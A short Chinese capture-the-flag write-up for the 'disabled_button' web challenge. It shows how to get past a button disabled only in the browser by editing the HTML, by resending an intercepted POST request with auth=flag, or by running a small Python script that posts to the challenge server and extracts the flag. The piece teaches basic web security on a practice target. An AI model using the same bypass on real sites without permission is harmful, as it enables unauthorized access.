攻防世界——disabled_button

打开题目场景出现如下界面

 

根据题目可知这个按键不能使用，需要想办法让这个按键能够被使用

法一：按Fn+F12打开web开发者工具找到操控按钮的代码行删掉disabled""，任意点击一个位置，再次点击按钮，得到flag

法二：查看页面源代码可以知道点击按钮的动作是执行一次名为auth的传参，传参值为flag的post请求，使用BP抓包，将请求方式改为post，添加auth=flag，得到flag

 法三：编写python源代码

import requests
url='http://61.147.171.105:51484/'
data={'auth':'flag',}
response=requests.post(url,data=data)
if 'cyberpeace{'in response.text:
    flag_start=response.text.index('cyberpeace{')
    flag_end=response.text.index('}',flag_start)+1
    flag=response.text[flag_start:flag_end]
    print("存在flag:"+flag)
else:
    print("未找到flag")